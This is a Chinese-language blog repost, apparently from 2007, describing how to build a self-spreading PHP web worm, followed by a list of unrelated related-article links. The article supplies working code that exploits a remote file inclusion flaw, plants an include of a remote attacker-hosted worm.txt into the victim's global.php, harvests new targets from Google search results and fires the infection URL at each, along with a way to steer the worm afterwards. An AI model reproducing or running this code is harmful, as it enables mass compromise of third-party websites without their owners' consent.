一个web蠕虫的简单实现

转载 2007年10月16日 09:33:00
本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛。

在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织

,所谓黑客的后门,鄙视!
    所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实

现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同

时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床

,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。

一  需要的程序漏洞

    php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:

<?
@include $page;
?>

    其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默

认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我

们可以在其中将变量定义为我们的一个文件如http://www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只

要简单的GET这个页面:

Iam_vul.php?page=http://www.defence80.com/worm.txt

就可以让worm.txt内容在网站执行:)


二  感染

    我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php

代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码:

<?
@include "http://www.defence80.com/worm.txt";
?>

    当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可

以在网站目录下面生成一个worm.txt表示已经被感染,代码变为:

<?if(!file_exists('worm.txt'))
{
fputs(fopen('worm.txt','a+'),'I am a worm!');
fputs(fopen('global.php','a+'),'<?@include "http://www.defence80.com/worm.txt";?>');
}
?>

    这样这个网站就被我们寄生了:)

三  传播

    传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的

壮大使着变得可能。假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的

关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这

个攻击代码是会被插入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这

里简单的考虑目标的选取和个数的确定:

<?
$random = rand(0, 30);
$random = 10*$random;                                 //随机取0-300之间的数目,我这里是作为示例:)
$query  = 'Iam_vul.php';                              //关键字
$url = "http://www.google.com/search?q=".$query.&q ... r=&start=".$random;
if($contents=@file_get_contents($url))                //取得Google页面的返回
    {
        $pattern="|<a class=l href=['"]?([^ '"]+)['" ]|U";
        @preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);
        for($i=0;$i<@count($regArr);$i++)    {
                                            $site=@preg_replace

("/Iam_vul.php(.*)$/i",'',$regArr[$i][1]);           //处理生成结果,可以考虑修改感染个数
                                            @file_get_contents

($site."Iam_vul.php?page=http://www.defence80.com/worm.txt"); //攻击目标网站,的确就这么简单
                                        
                                        }
    }
?>

    能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为

file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性

你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!

四  如何控制?

    精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php

,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。

五  总结

    精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意

的蠕虫去尝试修复漏洞或者提醒管理员呢?再次鄙视那些写没有思想只写垃圾工具的废物!完毕! 
 

渗透测试笔记:爬虫变蠕虫的故事

写这篇文,主要想以日记的形式记录下我在整个测试(gongji)过程中的 心路历程、所用技术、填的坑等等。。 为了让文章显得不那么呆板,不那么流水,我尽量使用一些文艺点的词汇。 9月份的广州,一天...
  • qq_30123355
  • qq_30123355
  • 2016年09月07日 20:04
  • 1455

Web Service入门简介(一个简单的WebService示例)

一、Web Service简介 1.1、Web Service基本概念 Web Service也叫XML Web Service WebService是一种可以接收从Internet或者Intra...
  • zhongguomao
  • zhongguomao
  • 2017年04月28日 16:16
  • 926

第一章:一个简单的Web服务器

一些http基础知识,与怎样写一个自己的简单的web服务器
  • levycc
  • levycc
  • 2016年02月08日 21:25
  • 1294

基于Socket编程实现一个简单的Web服务器

using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Ne...
  • CGS_______
  • CGS_______
  • 2017年06月24日 15:32
  • 448

XSS蠕虫攻击案例学习

看了下网站基于jQuery,那构造一个xss worm就简单很多(没有也无所谓,我们自己加载进去也可以的)...
  • xing_anksh
  • xing_anksh
  • 2014年04月14日 11:24
  • 1161

如何写一个简单的webserver(一):最简实现

本文主要讲述如何用C/C++写一个简单的支持并发的web服务器,并不考虑服务器的健壮性、安全性、性能等一系列因素。 在本文中,该服务器仅支持GET请求。 项目地址:https://github.c...
  • imjtrszy
  • imjtrszy
  • 2016年12月11日 22:42
  • 6617

用C语言实现的简单Web服务器(Linux)

转自 http://blog.chinaunix.net/uid-22568683-id-84698.html 相信大家对Apache都有所听闻,Apache是目前使用最为广泛我Web服务器。大家可...
  • lqxandroid2012
  • lqxandroid2012
  • 2016年04月05日 21:06
  • 748

简单web服务器的设计与实现

socket web服务器
  • zdy_lsh
  • zdy_lsh
  • 2017年01月27日 19:48
  • 1269

【简单Web服务器搭建】基于Socket实现的最简单的Web服务器【ASP.NET原理分析】

转自:http://www.cnblogs.com/DebugLZQ/archive/2011/12/06/2278234.html       通常,我们借助浏览器(通常是IE,FireFox或者...
  • xiaoxiaoyusheng2012
  • xiaoxiaoyusheng2012
  • 2015年08月30日 17:39
  • 828

一个简单的JSP+JavaBean web计算器

什么是JavaBean实际上,JavaBean就是一个Java类,只不过是一些遵循特定接口格式的Java类。为了直观地说明问题,我们直接看一个例子:Add.javapublic clas Add { ...
  • a153375250
  • a153375250
  • 2016年03月14日 12:52
  • 1896
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章: 一个web蠕虫的简单实现
举报原因:
原因补充:

(最多只允许输入30个字)